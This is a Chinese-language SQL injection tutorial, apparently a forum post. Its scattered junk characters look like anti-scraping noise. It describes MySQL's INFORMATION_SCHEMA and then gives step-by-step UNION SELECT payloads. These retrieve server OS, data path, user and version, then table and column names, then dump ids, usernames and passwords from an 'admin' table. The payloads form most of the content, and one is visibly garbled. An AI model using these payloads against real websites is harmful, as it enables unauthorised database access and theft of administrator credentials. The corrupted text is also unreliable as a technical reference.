本文介绍MYSQL盲注的一些语句和方法
+ V$ `; t. n+ M; q4 H1 X o4 ]* c; L M2 H2 T
学习盲注前先了解下 IFORMATION_SCHEMA 库
/ M) M! K" g! h1 B9 _6 e
% M6 t( k6 C0 zMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有. i' h/ s3 R9 R$ I9 [4 b5 Z3 ]
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
; S' q6 ^; n& }+ z' |1.得到所有数据库名:
) N4 y2 C1 {3 `|SCHEMATA ->存储数据库名的表
$ u @9 Q& D5 D6 {& B- i|---字段:SCHEMA_NAME ->数据库名称. m- N1 o5 a! {- W$ f7 Z
0 H0 i4 U3 ~( A' @|TABLES ->存储表名
6 j: A) Z" F6 X& l) @9 a. d|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
# R! Y. v: n% s/ N5 O' b2 ?|---字段:TABLE_NAME ->存储表的表名
. T& H# s1 f" D8 k
+ C Z8 B( j" Z) V% k+ @+ i|COLUMNS ->存储的字段名表/ A9 s+ K8 Y( t& w6 Q
|---字段:TABLE_SCHEMA ->该字段所属数据库名
# F0 L, N( O: K) [8 t|---字段:TABLE_NAME ->存储所属表的名称
6 H' o) S6 \0 b% O3 v2 Q$ t
9 A h; U" H+ L0 |, }$ ?|---字段:COLUMN_NAME ->该字段的名称8 _- a. I- K2 Y$ v0 F+ k9 [6 w3 T
# Y8 `& v) _6 v8 m) Y
( g! H: \' s3 j
: [" y/ n }8 f3 T###########################################################################1 s- L8 Q& ^. [+ q1 a
3 P5 i( u |9 |3 B5 d! v0x001 获取系统信息:# s+ r6 {" w5 r
7 u% M6 o% R! a$ I; P, ~
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*
3 k( e7 D: r5 ^; { x3 u; Q; h/ }) w, `( e+ d
/*
: j8 l1 G, N; }( G# J3 z8 V4 o$ B; k6 x
@@global.version_compile_os 获取系统版本
1 f/ ^2 {8 @6 d/ ?0 I2 H7 ^3 h _# A' e+ [8 f U
@@datadir 数据库路径
6 d2 j2 Z( i- O3 \8 B8 K, R1 g. W. Odatabase() 当前数据库名称, x+ G, d3 S% _" ~5 h
0x3c62723e 换行HEX值
7 f) b7 l7 Q# r: x' ?$ ?2 a! ?0 }& {# \* q
*/
" e: \/ c' N* @. X+ i
/ b. `3 J% ]2 X& u& q# N) I3 d
% T+ T/ y# \7 _5 I# d: f# F: E- l/ a9 R D, ^. e) x7 c0 D
######################################################################
2 ~# J7 M* x: I0 b6 P+ H' G! F* q1 H* G4 k U& H
0x002 获取表名
- Q( j: Z. y. v! Q& f4 h
3 S$ D2 s8 J% ~! Yunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
# B1 ]3 B o- I! K3 @1 j
* s8 B9 s! N( m- _, V
) |) G/ L0 u1 `* {
' x9 B/ z( i: w& }/*
5 F1 }# e. V D) W( O7 m' C0 B. o
0x67617264656e 为当前数据库名
) C3 _% a2 X9 A7 l+ \0 w) H1 j% ]
$ o c# R( O) Z' f) Z0 H+ ^4 K: |6 ?group_concat(table_name) 使用group_concat函数 一步获得该库所有表名 z1 j' B: J. d5 M
1 L2 R! e T: z- k) G*/
+ G) B% F' L: `5 r0 O2 Y6 S- `! r* j& T4 V
######################################################################8 U0 I7 j* z$ @2 O- o
5 |* C4 ^6 s* D2 L$ r& u
$ [% Z- O/ A/ o. {. t% t" d& Q
, ]4 O2 v" y+ w$ C0 W, e- J0x003 获取字段* A; h# y" x) v2 o1 k4 q
' x5 x4 c4 ~9 O6 Zunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*. i% s9 R, S0 s; N
' O: [2 p& ^6 ^5 M5 b8 g" h
/*- q/ a2 \$ S. b2 p
9 g3 ~7 C9 U& k+ Z% Y3 Qgroup_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段+ R1 \) y+ R9 c3 c( \+ w# _) m
# f- D9 C! Q' j2 e! |- l
0x61646d696e ->选择一个表
\0 x5 G9 m2 b4 V1 n) T) x0 W
& g, N' `/ w @$ |: Q ?( ~0x67617264656e ->数据库名
7 w( ^7 t' Y, {7 _! g9 U4 m- K# z1 ]3 {- Z" {
*/& J: V$ x# [1 f5 @
[+ a& f2 X" p B
#####################################################################) F a) M' W" G1 G# s6 ]
& `6 C- C3 L* i& q$ e5 x
5 X" o) g: d( e0 s) Q$ J: o+ J
5 I# E; F" }% j u2 S$ { J0x004 获取数据 @- ]4 m$ X2 S+ v& R" B
/ a) o8 v9 u2 _. `( `
union select 1,2,3
# c% k8 ~/ T: W: [+ \/ b( r# y,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
# F/ @4 b% @5 {- k) A2 n, Y6 _
, m- |5 w6 ]8 n, v5 ~, b, z) }4 {, O/ }union select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin
* X# c' u9 q. ]3 B1 H* Y, q3 Z9 [# q/ W, Y# z5 U$ u0 T, z; R7 Z* y
- V$ ~( k/ ~5 W m3 H- C
: d+ I" |9 G% c5 l: N1 h/*
% C* V/ Z( ]' @+ V- v8 X( X. ^! z* H: t. v1 I! n+ D {
0x3c62723e 换行符号HEX编码; I8 {5 o% H% u. L; S
) r3 o" B" Z% a5 k8 \0 Y3 B2 z Mgroup_concat 同时获得该字段所有数据
3 X6 V0 s( w' X, l. P5 [
* Z; i4 o C( Q2 t" S+ {*/
) y9 v. k" K7 ?9 p$ j* o" }) ~, q
$ X" C! f" H+ f4 R' R) q; T |